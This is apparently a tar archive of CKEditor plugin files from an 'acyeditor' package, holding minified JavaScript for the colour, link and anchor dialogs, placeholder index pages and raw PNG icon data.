                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/plugins/templatemode/index.html                                0000705                 00000000054 15242051521 0022117 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/colordialog/index.html                                 0000705                 00000000054 15242051521 0021735 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/colordialog/dialogs/index.html                         0000705                 00000000054 15242051521 0023357 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/colordialog/dialogs/colordialog.js                     0000705                 00000010636 15242051521 0024225 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.dialog.add("colordialog",function(t){function n(){f.getById(o).removeStyle("background-color");p.getContentElement("picker","selectedColor").setValue("");j&&j.removeAttribute("aria-selected");j=null}function u(a){var a=a.data.getTarget(),b;if("td"==a.getName()&&(b=a.getChild(0).getHtml()))j=a,j.setAttribute("aria-selected",!0),p.getContentElement("picker","selectedColor").setValue(b)}function y(a){for(var a=a.replace(/^#/,""),b=0,c=[];2>=b;b++)c[b]=parseInt(a.substr(2*b,2),16);return"#"+
(165<=0.2126*c[0]+0.7152*c[1]+0.0722*c[2]?"000":"fff")}function v(a){!a.name&&(a=new CKEDITOR.event(a));var b=!/mouse/.test(a.name),c=a.data.getTarget(),e;if("td"==c.getName()&&(e=c.getChild(0).getHtml()))q(a),b?g=c:w=c,b&&(c.setStyle("border-color",y(e)),c.setStyle("border-style","dotted")),f.getById(k).setStyle("background-color",e),f.getById(l).setHtml(e)}function q(a){if(a=!/mouse/.test(a.name)&&g){var b=a.getChild(0).getHtml();a.setStyle("border-color",b);a.setStyle("border-style","solid")}!g&&
!w&&(f.getById(k).removeStyle("background-color"),f.getById(l).setHtml("&nbsp;"))}function z(a){var b=a.data,c=b.getTarget(),e=b.getKeystroke(),d="rtl"==t.lang.dir;switch(e){case 38:if(a=c.getParent().getPrevious())a=a.getChild([c.getIndex()]),a.focus();b.preventDefault();break;case 40:if(a=c.getParent().getNext())(a=a.getChild([c.getIndex()]))&&1==a.type&&a.focus();b.preventDefault();break;case 32:case 13:u(a);b.preventDefault();break;case d?37:39:if(a=c.getNext())1==a.type&&(a.focus(),b.preventDefault(!0));
else if(a=c.getParent().getNext())if((a=a.getChild([0]))&&1==a.type)a.focus(),b.preventDefault(!0);break;case d?39:37:if(a=c.getPrevious())a.focus(),b.preventDefault(!0);else if(a=c.getParent().getPrevious())a=a.getLast(),a.focus(),b.preventDefault(!0)}}var r=CKEDITOR.dom.element,f=CKEDITOR.document,h=t.lang.colordialog,p,x={type:"html",html:"&nbsp;"},j,g,w,m=function(a){return CKEDITOR.tools.getNextId()+"_"+a},k=m("hicolor"),l=m("hicolortext"),o=m("selhicolor"),i;(function(){function a(a,d){for(var s=
a;s<a+3;s++){var e=new r(i.$.insertRow(-1));e.setAttribute("role","row");for(var f=d;f<d+3;f++)for(var g=0;6>g;g++)b(e.$,"#"+c[f]+c[g]+c[s])}}function b(a,c){var b=new r(a.insertCell(-1));b.setAttribute("class","ColorCell");b.setAttribute("tabIndex",-1);b.setAttribute("role","gridcell");b.on("keydown",z);b.on("click",u);b.on("focus",v);b.on("blur",q);b.setStyle("background-color",c);b.setStyle("border","1px solid "+c);b.setStyle("width","14px");b.setStyle("height","14px");var d=m("color_table_cell");
b.setAttribute("aria-labelledby",d);b.append(CKEDITOR.dom.element.createFromHtml('<span id="'+d+'" class="cke_voice_label">'+c+"</span>",CKEDITOR.document))}i=CKEDITOR.dom.element.createFromHtml('<table tabIndex="-1" aria-label="'+h.options+'" role="grid" style="border-collapse:separate;" cellspacing="0"><caption class="cke_voice_label">'+h.options+'</caption><tbody role="presentation"></tbody></table>');i.on("mouseover",v);i.on("mouseout",q);var c="00 33 66 99 cc ff".split(" ");a(0,0);a(3,0);a(0,
3);a(3,3);var e=new r(i.$.insertRow(-1));e.setAttribute("role","row");for(var d=0;6>d;d++)b(e.$,"#"+c[d]+c[d]+c[d]);for(d=0;12>d;d++)b(e.$,"#000000")})();return{title:h.title,minWidth:360,minHeight:220,onLoad:function(){p=this},onHide:function(){n();var a=g.getChild(0).getHtml();g.setStyle("border-color",a);g.setStyle("border-style","solid");f.getById(k).removeStyle("background-color");f.getById(l).setHtml("&nbsp;");g=null},contents:[{id:"picker",label:h.title,accessKey:"I",elements:[{type:"hbox",
padding:0,widths:["70%","10%","30%"],children:[{type:"html",html:"<div></div>",onLoad:function(){CKEDITOR.document.getById(this.domId).append(i)},focus:function(){(g||this.getElement().getElementsByTag("td").getItem(0)).focus()}},x,{type:"vbox",padding:0,widths:["70%","5%","25%"],children:[{type:"html",html:"<span>"+h.highlight+'</span><div id="'+k+'" style="border: 1px solid; height: 74px; width: 74px;"></div><div id="'+l+'">&nbsp;</div><span>'+h.selected+'</span><div id="'+o+'" style="border: 1px solid; height: 20px; width: 74px;"></div>'},
{type:"text",label:h.selected,labelStyle:"display:none",id:"selectedColor",style:"width: 76px;margin-top:4px",onChange:function(){try{f.getById(o).setStyle("background-color",this.getValue())}catch(a){n()}}},x,{type:"button",id:"clear",label:h.clear,onClick:n}]}]}]}]}});                                                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/link/images/anchor.png                                 0000705                 00000001115 15242051521 0021623 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         a  IDAT8ujSAgnڊMc))(Zԝ>@O+.]tSX*Rk)4HT"1DIf>w60s7s>˲ s_XvkQ=` H MS$VMIoZ$Hz*FIF= 2$	$:hjwwv[sJf, S''ܪT8t $kfuG!KJqM{ gfw2>XB$SS|=:b4Wp%P0c`F9lb'r~ X HHpf8b9paG7WǄcf$Α޶ZfCJͣv*@۽-QFe3*j4F3N^C#A-fDRIcI/%VW%LsI4<Z̐D s;?_>y'	Č'8904POӟc+B(rҸ!,]FtOWfW2C@Xʿ    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/link/images/index.html                                 0000705                 00000000054 15242051521 0021641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/link/images/hidpi/anchor.png                           0000705                 00000002543 15242051521 0022726 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR           szz  *IDATXýW]lTE>g(-K(DI)j[R	5D!bbĀ`)Ƈ$Fᥦ!1FH@xTF@7Ҕ4%
YSI+bݿݽ{ˮ@۝;3oΜ3\ejhL$3#tx<ɐJ.'E!MIxHsIQU)bDdBI:ME̴)Yy#*_^v :0c:}>R]"K䳜o׸x-<wӶ_\)_>V*2rkaܲ$e	 OOٽjٳ4:0;B!㗖cHr{v{+}}@|X7:Y?|萑?pVAJzذn>;kJxx>-傀[F#ttt80eQ\Ww\H;w2-Ǐ@w7eOa%-[X(eb\Fx%Ү]BGnI  _%eOFDIrV9kYx<.Il(W&@B,wO x.K0ד$a5.Bs gv$uTh<kz)y<W&O&d0n:ֲ)M^K,b<HF#x
YX3
,*.QX{URcS?=G'Ujz(p6tN@C
pA~
c|.'<_0aA9 zk~F@?˧	:2(Q|0}G8LF""iR	7@hoj"/ KR⿂j"`#g@a\F@bmjEHL}MoHV)=pxxwb<[.pA	]!>G TZЪ;ʆiq.aL*t]i.6#wcP^@Bsq޽q޺lToj~t;0Çf|K;6i-\@Wv6TR8`[_i.ɒeIh4jt8z{2/"وrI+{bC|BN܋,ū[	/1[` L㟂~(4뫰^ֽreQvq&7- 'Xg1(V
/69U-LUKί#HH5s#)R@-R=ɶ,,3Q!Wxԡ0(>N(/|WE    IENDB`                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/link/images/hidpi/index.html                           0000705                 00000000054 15242051521 0022736 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/link/index.html                                        0000705                 00000000054 15242051521 0020374 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/link/dialogs/index.html                                0000705                 00000000054 15242051521 0022016 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/link/dialogs/link.js                                   0000705                 00000025523 15242051521 0021324 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){CKEDITOR.dialog.add("link",function(g){var l=CKEDITOR.plugins.link,m=function(){var a=this.getDialog(),b=a.getContentElement("target","popupFeatures"),a=a.getContentElement("target","linkTargetName"),k=this.getValue();if(b&&a)switch(b=b.getElement(),b.hide(),a.setValue(""),k){case "frame":a.setLabel(g.lang.link.targetFrameName);a.getElement().show();break;case "popup":b.show();a.setLabel(g.lang.link.targetPopupName);a.getElement().show();break;default:a.setValue(k),a.getElement().hide()}},
f=function(a){a.target&&this.setValue(a.target[this.id]||"")},h=function(a){a.advanced&&this.setValue(a.advanced[this.id]||"")},i=function(a){a.target||(a.target={});a.target[this.id]=this.getValue()||""},j=function(a){a.advanced||(a.advanced={});a.advanced[this.id]=this.getValue()||""},c=g.lang.common,b=g.lang.link,d;return{title:b.title,minWidth:350,minHeight:230,contents:[{id:"info",label:b.info,title:b.info,elements:[{id:"linkType",type:"select",label:b.type,"default":"url",items:[[b.toUrl,"url"],
[b.toAnchor,"anchor"],[b.toEmail,"email"]],onChange:function(){var a=this.getDialog(),b=["urlOptions","anchorOptions","emailOptions"],k=this.getValue(),e=a.definition.getContents("upload"),e=e&&e.hidden;"url"==k?(g.config.linkShowTargetTab&&a.showPage("target"),e||a.showPage("upload")):(a.hidePage("target"),e||a.hidePage("upload"));for(e=0;e<b.length;e++){var c=a.getContentElement("info",b[e]);c&&(c=c.getElement().getParent().getParent(),b[e]==k+"Options"?c.show():c.hide())}a.layout()},setup:function(a){this.setValue(a.type||
"url")},commit:function(a){a.type=this.getValue()}},{type:"vbox",id:"urlOptions",children:[{type:"hbox",widths:["25%","75%"],children:[{id:"protocol",type:"select",label:c.protocol,"default":"http://",items:[["http://‎","http://"],["https://‎","https://"],["ftp://‎","ftp://"],["news://‎","news://"],[b.other,""]],setup:function(a){a.url&&this.setValue(a.url.protocol||"")},commit:function(a){a.url||(a.url={});a.url.protocol=this.getValue()}},{type:"text",id:"url",label:c.url,required:!0,onLoad:function(){this.allowOnChange=
!0},onKeyUp:function(){this.allowOnChange=!1;var a=this.getDialog().getContentElement("info","protocol"),b=this.getValue(),k=/^((javascript:)|[#\/\.\?])/i,c=/^(http|https|ftp|news):\/\/(?=.)/i.exec(b);c?(this.setValue(b.substr(c[0].length)),a.setValue(c[0].toLowerCase())):k.test(b)&&a.setValue("");this.allowOnChange=!0},onChange:function(){if(this.allowOnChange)this.onKeyUp()},validate:function(){var a=this.getDialog();return a.getContentElement("info","linkType")&&"url"!=a.getValueOf("info","linkType")?
!0:!g.config.linkJavaScriptLinksAllowed&&/javascript\:/.test(this.getValue())?(alert(c.invalidValue),!1):this.getDialog().fakeObj?!0:CKEDITOR.dialog.validate.notEmpty(b.noUrl).apply(this)},setup:function(a){this.allowOnChange=!1;a.url&&this.setValue(a.url.url);this.allowOnChange=!0},commit:function(a){this.onChange();a.url||(a.url={});a.url.url=this.getValue();this.allowOnChange=!1}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().show()}},{type:"button",
id:"browse",hidden:"true",filebrowser:"info:url",label:c.browseServer}]},{type:"vbox",id:"anchorOptions",width:260,align:"center",padding:0,children:[{type:"fieldset",id:"selectAnchorText",label:b.selectAnchor,setup:function(){d=l.getEditorAnchors(g);this.getElement()[d&&d.length?"show":"hide"]()},children:[{type:"hbox",id:"selectAnchor",children:[{type:"select",id:"anchorName","default":"",label:b.anchorName,style:"width: 100%;",items:[[""]],setup:function(a){this.clear();this.add("");if(d)for(var b=
0;b<d.length;b++)d[b].name&&this.add(d[b].name);a.anchor&&this.setValue(a.anchor.name);(a=this.getDialog().getContentElement("info","linkType"))&&"email"==a.getValue()&&this.focus()},commit:function(a){a.anchor||(a.anchor={});a.anchor.name=this.getValue()}},{type:"select",id:"anchorId","default":"",label:b.anchorId,style:"width: 100%;",items:[[""]],setup:function(a){this.clear();this.add("");if(d)for(var b=0;b<d.length;b++)d[b].id&&this.add(d[b].id);a.anchor&&this.setValue(a.anchor.id)},commit:function(a){a.anchor||
(a.anchor={});a.anchor.id=this.getValue()}}],setup:function(){this.getElement()[d&&d.length?"show":"hide"]()}}]},{type:"html",id:"noAnchors",style:"text-align: center;",html:'<div role="note" tabIndex="-1">'+CKEDITOR.tools.htmlEncode(b.noAnchors)+"</div>",focus:!0,setup:function(){this.getElement()[d&&d.length?"hide":"show"]()}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().hide()}},{type:"vbox",id:"emailOptions",padding:1,children:[{type:"text",id:"emailAddress",
label:b.emailAddress,required:!0,validate:function(){var a=this.getDialog();return!a.getContentElement("info","linkType")||"email"!=a.getValueOf("info","linkType")?!0:CKEDITOR.dialog.validate.notEmpty(b.noEmail).apply(this)},setup:function(a){a.email&&this.setValue(a.email.address);(a=this.getDialog().getContentElement("info","linkType"))&&"email"==a.getValue()&&this.select()},commit:function(a){a.email||(a.email={});a.email.address=this.getValue()}},{type:"text",id:"emailSubject",label:b.emailSubject,
setup:function(a){a.email&&this.setValue(a.email.subject)},commit:function(a){a.email||(a.email={});a.email.subject=this.getValue()}},{type:"textarea",id:"emailBody",label:b.emailBody,rows:3,"default":"",setup:function(a){a.email&&this.setValue(a.email.body)},commit:function(a){a.email||(a.email={});a.email.body=this.getValue()}}],setup:function(){this.getDialog().getContentElement("info","linkType")||this.getElement().hide()}}]},{id:"target",requiredContent:"a[target]",label:b.target,title:b.target,
elements:[{type:"hbox",widths:["50%","50%"],children:[{type:"select",id:"linkTargetType",label:c.target,"default":"notSet",style:"width : 100%;",items:[[c.notSet,"notSet"],[b.targetFrame,"frame"],[b.targetPopup,"popup"],[c.targetNew,"_blank"],[c.targetTop,"_top"],[c.targetSelf,"_self"],[c.targetParent,"_parent"]],onChange:m,setup:function(a){a.target&&this.setValue(a.target.type||"notSet");m.call(this)},commit:function(a){a.target||(a.target={});a.target.type=this.getValue()}},{type:"text",id:"linkTargetName",
label:b.targetFrameName,"default":"",setup:function(a){a.target&&this.setValue(a.target.name)},commit:function(a){a.target||(a.target={});a.target.name=this.getValue().replace(/\W/gi,"")}}]},{type:"vbox",width:"100%",align:"center",padding:2,id:"popupFeatures",children:[{type:"fieldset",label:b.popupFeatures,children:[{type:"hbox",children:[{type:"checkbox",id:"resizable",label:b.popupResizable,setup:f,commit:i},{type:"checkbox",id:"status",label:b.popupStatusBar,setup:f,commit:i}]},{type:"hbox",
children:[{type:"checkbox",id:"location",label:b.popupLocationBar,setup:f,commit:i},{type:"checkbox",id:"toolbar",label:b.popupToolbar,setup:f,commit:i}]},{type:"hbox",children:[{type:"checkbox",id:"menubar",label:b.popupMenuBar,setup:f,commit:i},{type:"checkbox",id:"fullscreen",label:b.popupFullScreen,setup:f,commit:i}]},{type:"hbox",children:[{type:"checkbox",id:"scrollbars",label:b.popupScrollBars,setup:f,commit:i},{type:"checkbox",id:"dependent",label:b.popupDependent,setup:f,commit:i}]},{type:"hbox",
children:[{type:"text",widths:["50%","50%"],labelLayout:"horizontal",label:c.width,id:"width",setup:f,commit:i},{type:"text",labelLayout:"horizontal",widths:["50%","50%"],label:b.popupLeft,id:"left",setup:f,commit:i}]},{type:"hbox",children:[{type:"text",labelLayout:"horizontal",widths:["50%","50%"],label:c.height,id:"height",setup:f,commit:i},{type:"text",labelLayout:"horizontal",label:b.popupTop,widths:["50%","50%"],id:"top",setup:f,commit:i}]}]}]}]},{id:"upload",label:b.upload,title:b.upload,hidden:!0,
filebrowser:"uploadButton",elements:[{type:"file",id:"upload",label:c.upload,style:"height:40px",size:29},{type:"fileButton",id:"uploadButton",label:c.uploadSubmit,filebrowser:"info:url","for":["upload","upload"]}]},{id:"advanced",label:b.advanced,title:b.advanced,elements:[{type:"vbox",padding:1,children:[{type:"hbox",widths:["45%","35%","20%"],children:[{type:"text",id:"advId",requiredContent:"a[id]",label:b.id,setup:h,commit:j},{type:"select",id:"advLangDir",requiredContent:"a[dir]",label:b.langDir,
"default":"",style:"width:110px",items:[[c.notSet,""],[b.langDirLTR,"ltr"],[b.langDirRTL,"rtl"]],setup:h,commit:j},{type:"text",id:"advAccessKey",requiredContent:"a[accesskey]",width:"80px",label:b.acccessKey,maxLength:1,setup:h,commit:j}]},{type:"hbox",widths:["45%","35%","20%"],children:[{type:"text",label:b.name,id:"advName",requiredContent:"a[name]",setup:h,commit:j},{type:"text",label:b.langCode,id:"advLangCode",requiredContent:"a[lang]",width:"110px","default":"",setup:h,commit:j},{type:"text",
label:b.tabIndex,id:"advTabIndex",requiredContent:"a[tabindex]",width:"80px",maxLength:5,setup:h,commit:j}]}]},{type:"vbox",padding:1,children:[{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.advisoryTitle,requiredContent:"a[title]","default":"",id:"advTitle",setup:h,commit:j},{type:"text",label:b.advisoryContentType,requiredContent:"a[type]","default":"",id:"advContentType",setup:h,commit:j}]},{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.cssClasses,requiredContent:"a(cke-xyz)",
"default":"",id:"advCSSClasses",setup:h,commit:j},{type:"text",label:b.charset,requiredContent:"a[charset]","default":"",id:"advCharset",setup:h,commit:j}]},{type:"hbox",widths:["45%","55%"],children:[{type:"text",label:b.rel,requiredContent:"a[rel]","default":"",id:"advRel",setup:h,commit:j},{type:"text",label:b.styles,requiredContent:"a{cke-xyz}","default":"",id:"advStyles",validate:CKEDITOR.dialog.validate.inlineStyle(g.lang.common.invalidInlineStyle),setup:h,commit:j}]}]}]}],onShow:function(){var a=
this.getParentEditor(),b=a.getSelection(),c=null;(c=l.getSelectedLink(a))&&c.hasAttribute("href")?b.getSelectedElement()||b.selectElement(c):c=null;a=l.parseLinkAttributes(a,c);this._.selectedElement=c;this.setupContent(a)},onOk:function(){var a={};this.commitContent(a);var b=g.getSelection(),c=l.getLinkAttributes(g,a);if(this._.selectedElement){var e=this._.selectedElement,d=e.data("cke-saved-href"),f=e.getHtml();e.setAttributes(c.set);e.removeAttributes(c.removed);if(d==f||"email"==a.type&&-1!=
f.indexOf("@"))e.setHtml("email"==a.type?a.email.address:c.set["data-cke-saved-href"]),b.selectElement(e);delete this._.selectedElement}else b=b.getRanges()[0],b.collapsed&&(a=new CKEDITOR.dom.text("email"==a.type?a.email.address:c.set["data-cke-saved-href"],g.document),b.insertNode(a),b.selectNodeContents(a)),c=new CKEDITOR.style({element:"a",attributes:c.set}),c.type=CKEDITOR.STYLE_INLINE,c.applyToRange(b,g),b.select()},onLoad:function(){g.config.linkShowAdvancedTab||this.hidePage("advanced");g.config.linkShowTargetTab||
this.hidePage("target")},onFocus:function(){var a=this.getContentElement("info","linkType");a&&"url"==a.getValue()&&(a=this.getContentElement("info","url"),a.select())}}})})();                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/link/dialogs/anchor.js                                 0000705                 00000003124 15242051521 0021632 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.dialog.add("anchor",function(c){function d(a,b){return a.createFakeElement(a.document.createElement("a",{attributes:b}),"cke_anchor","anchor")}return{title:c.lang.link.anchor.title,minWidth:300,minHeight:60,onOk:function(){var a=CKEDITOR.tools.trim(this.getValueOf("info","txtName")),a={id:a,name:a,"data-cke-saved-name":a};if(this._.selectedElement)this._.selectedElement.data("cke-realelement")?(a=d(c,a),a.replace(this._.selectedElement),CKEDITOR.env.ie&&c.getSelection().selectElement(a)):
this._.selectedElement.setAttributes(a);else{var b=c.getSelection(),b=b&&b.getRanges()[0];b.collapsed?(a=d(c,a),b.insertNode(a)):(CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(a["class"]="cke_anchor"),a=new CKEDITOR.style({element:"a",attributes:a}),a.type=CKEDITOR.STYLE_INLINE,c.applyStyle(a))}},onHide:function(){delete this._.selectedElement},onShow:function(){var a=c.getSelection(),b=a.getSelectedElement(),d=b&&b.data("cke-realelement"),e=d?CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,b):CKEDITOR.plugins.link.getSelectedLink(c);
e&&(this._.selectedElement=e,this.setValueOf("info","txtName",e.data("cke-saved-name")||""),!d&&a.selectElement(e),b&&(this._.selectedElement=b));this.getContentElement("info","txtName").focus()},contents:[{id:"info",label:c.lang.link.anchor.title,accessKey:"I",elements:[{type:"text",id:"txtName",label:c.lang.link.anchor.name,required:!0,validate:function(){return!this.getValue()?(alert(c.lang.link.anchor.errorName),!1):!0}}]}]}});                                                                                                                                                                                                                                                                                                                                                                                                                                            editors/acyeditor/acyeditor/ckeditor/plugins/icons_hidpi2.png                                       0000705                 00000076154 15242051521 0020540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         ^% K    IDATxy|řƺ/K$˲uXKld	d@vw]ew	!c$cɆ  `eK.{~txKfz˞QWg)@Sdp9 fpfZ"| X()K #}"c c  1@0hu\`hx{Ox"~?h(QcR 0@[RN8۷ s F/  
Ayr~###|`Abfh4Bӡ	
c@E1R8l޼ :kv˪+f3Ad¢?w$S2p3 "E(Zn];r (C!L: 坑E"cs	!@)[8BD;L)P^ c@0Ơ7@ B@&[Ɯp@ >] 8VE鴼ǁy\|{,Y"$;N a|[svаhBpP0ۍ>\	fFbAqQl6 @yB!><k{H)<
B0 F A. H}FMX.y</eɳgI	 dyk2(ִDK.㎽]]nٳ8V"477Cg0x Q E@nA?0)ZrrssCԩ
]G b|/C_1QǷ kӦMzxFCGmuuQ׀H)u'5B~  ^4Jiw\/\`k5@HH(2TK.ܼ<^/ UJYјB/YVYYYj#W~iSHJAdb  @r@i5%%ͅ((Eggk HW@,Fp5L&&9(.* w}K |<jL' ̚@yL󡿿# +=#" ш ~\9G=,dyg$c e@^sό3<?jQ`Yj1C G	!N&50| 0 !   oQu C/(7xL&]{mo7&1IPկ@
@Ο=]yPd3(080?n\*kyf ^@|>񠧯Ϸf'k {@{ޯ|l6AÈۛ6uOY3  G?ql z>.%U~Y7!$   :Ϭ__H-u$x;eΝj#ְ==G gX̫Їw`9g |x,y>_ $).^L!b?x<vBzGHN;z=+۬FW<?ACKn Z @Ex^rm YۅF%2iRQn$3h v(IR\<N"Q	h*.,7`ť1E!n&"aZ8?G%1 LB~әLC%yTvk4Bȣ9g+ 9$+._nk}؇Dn-^lxǎ
H[I	 |<~?<|~? _vf+ ݃C8j#>0ѾAv؏	!VDJcX0ޅȢp˺	TTTTTTTTTTT[,Zx
@J E@`'$sH1>[wTQRRш# 󡯯pA ; (ΤF6͜Y`19*\9Nqi4B3?d'E2.hlm}hq{;'<"3(8Z::4Anֺ1	Yr`2P]]-6Lښtttٳ? 	/]JyZs,DdǬٳ?`In +p䓜 MJ>\w㍗rV0Y~sB^nǐz'Vה@^	`<9R %Հ]р
4F|{;OOH4821VP
0?O! !/BB\Horp@HH9N<wx{{xcH  @gO36
a0I98FC</\AbopySPI 7o^3p&imIC5B</vvu8!;OJI E}Y7 qA| ^w\$
g'zDN'jZ.<"z=F#f3L&t:Zm|c.
#.744$|>O^6'&`!gHұy^;8`09N?!"5 yHI&أ>o[tBӁ1P(ǃn"ܪ( d\;!<yisrr"zŽv).'X eJ B^#|rME;4J+*i3NxdB|GV+urNH{7RUUsCCC7>{K==} NqHcs LԐAbP^}(<fVQP  11
~`~ jabp`OVG۶F~T5088!h@qZY,pl|iB8*e~.=/#GH	E
xG?g.h4fziEFq!\f^}U(4Ǔɽx׹Nqx"V+QXX(|E,/+хI%.~$]qD	B;dH/$%b^UTTTTTTTTTTTH`le=hܐI# p4/m Z-,`xúuN>mێPhxSc2m^RUU==x6Xx2sf`@(DuUnXfdڄ 572~X-M\,I0Hz`pW r 86浫VF|>x<O
P2TNol<_p8`0v-{9/[b2#N!x|]U@2V`aaakNNz=t:<Rx'Xֈ9F^Qk߾}<D
0xEEEZ6b!GFFrvٳg6? 5J l9rHt/1fØ
W'V$#gϞ5hO*@a&Ti4dp BF=&3R95%-f9TvBj4cbhxwP5`,PJZY*hDWlrRWϟb2"ڥK022Ν;v400wpp`<fb _T>oI7'śj⪪tZ-@:<y;}\wd0XgOxf69`ZaqWW ]8\.ӳ3xKJJJV͆ bdcLT)SDŒpgel_i4/ɦW1#clc,xg?N0vضsQz]QYILIRgKl?/,"Q(zꬨH)`cYط
񏌱8]q$0c-//N:p8n5KE)T/8\і c[m&te@)rJJ"M >54jw8bBIQu'()|ބDʧŨKl6baѣٹsb@cիBg9M\$
Br	{1!Jd.SՀ)f;Zxnވ.O`\<&^x1Mr>/7["{Lmfd1k D\h\	bž>/~1mhhyD?n2Q^ZZzk
l6Yb6#cphI^<s КLknwqQQ
Q(;	DRBVWo}{)999d2aUW^F{LpM
HVD d|<&1zaɖӧO7C ` g+`\=&򘌚򘌚qZxLTTTTTTTTTTTאD\Hiih40CPImN'm%vͥ\j)ov:0	N__>mn:鵛Ï~ähhn/O&r"N1-h+ vcj("Fҧ9?f˲K_R
* r45~1E"3kp4A|qj  	ے9ܛ x5ASQu*˻BS;3D&0|s=*g4HHi@`XʻBySM F	o;.<|>
	
`RړoX "In77G xLZmC+JKk,@n|_M"0 F ȮQQZVvgՇ76J1G'Ot'"Ohn!  <ZU[|<ǃ˗tLB[cK<8/7'G
cdd.\hDÁɓ#cǃsϻ.ttB}Ѻꊊ͘Ѐ`8aGA__pWrIvθZxS0Q"y7yۉSOs9Gɩe*; >ܶmK/:tw91LROccn>7[Nz/!2)#N؋ıe
 -   !ŪhѤ4Mđ*pLMP,<gpG$r|01(LQ4F&r} RH֏s v x@_|B u NR"^@8m().Ƥ<v/x-Mmj5{֬"Lr:144^ڳB/@
/ nu:}*mVkdKBZ-B|3} ^`4__` dYxxfBmjUF~0WAS)~#ٰd0!F^o	?	"VzgRSJ#3 DAk׶!iH,%#ou555!ۉ9 HV8 
E1!6Gj`pdd?1ܔR ɯPT?JyAx=䖕4;B`ȅπy\.@2<g?B^P# >~ї  
"+B,;w~B\.yPؖ?00NS?֙󡧷s\\(/";Wkߏ~\xBP$} DiII'P3Ƃ[ne^{-۰aU(cOm&f٪Uu͛_O_4>[Cz{{}/\8G!F }WOٓ;xxW*4ZH)}//+{I/*=!~V=>jJqnHN59Lvo;/:}r;!!ywLpn7:;;76nV&kMs\Ι3<;%KҺ:=w1QF)u,MM4''Lr(肅ɓyd(ߙH+*y_1ƼL2)SFΞ;3.2FN%bɡVmc#9_ AzzCr7c$,W |Ixy@Ɯu O=x<ݟ.AI~ iFৌ9 ܐ"&MJdRNB$ YV"n_dWA^nǮ={d>UDD|.7H~)n ੣G$"" 1H6l ID9@qK;xLd⫯r"c9vlT""(= ;cwycs;NZDD@IDu睏i4~ߟȋ'teE xߎǏ4yIh19y1sV#Öъt
NNʙr+!?f" &Xr%rFxn|>QΉ'2*2B%}a_ܯ砂`ٳ)E\
ȠC~́;ϜI*@n(Iy2)D_c`׹s"60fKw_{bGGQxEDDy@/}7r=RY&Mz0ˤW6"p45n044S&/Pk  r
d,n\Zա˛hDSlH#Y"U9RRHs}$2j&fY^8>hg,`0]O]@ƏPl0gD4XSa/匛@yf jt=aϼVF0I*I{܈1pyl0\`lfī	@_T/P@_?u@L ,RGOG%͐Bdͦ]G6tU7z+^ӥ6{v}]M>w3|&ibh7(*(@N(|^/f3_f5(_nXvbNKV@qqs[ l#x̶! 9"7z<B fbʔg KsgB(DQ^^nVcݽ]rr=/Hd)9^{5F^K<LM .+
֯][X^Els=1^^vm	w~Gpvo{'"}4֮mњLE̺իiH,P(!l|< d-n}P$
f`7hƇ|sewfSyJ)A!K Xxq`hp@B ȑ#b̙\X pݸy' XLIj: l>}iۡj{^=r !I|3!';;;^opؠp ߏ7ntؘ"U{!ahh%B$Ot\/pfJeS9_rT8SB%?1}ڴ 7ʝxBv'Nhdtt)9BKD[˒¢jijq Q8CNNDk &
)(X^    IDAT<<n7zzzw:<XqPR\kxx+dfco+1/ZR!9ssoMoh ϟ?2|keeeY	?ppZ $L' ,icagg].g ʳZ;<n7(cܹDw	`Q5PB=3f8lH<<z $l X999ؠpq/.0GȇOgyyzmYn}p  L!؇gyfWSc93g1 թ>.^_u,=ŋ)o*-6}:]`]|yL5{6]vRƤ5Pp _~X) ZXPP8iKfst
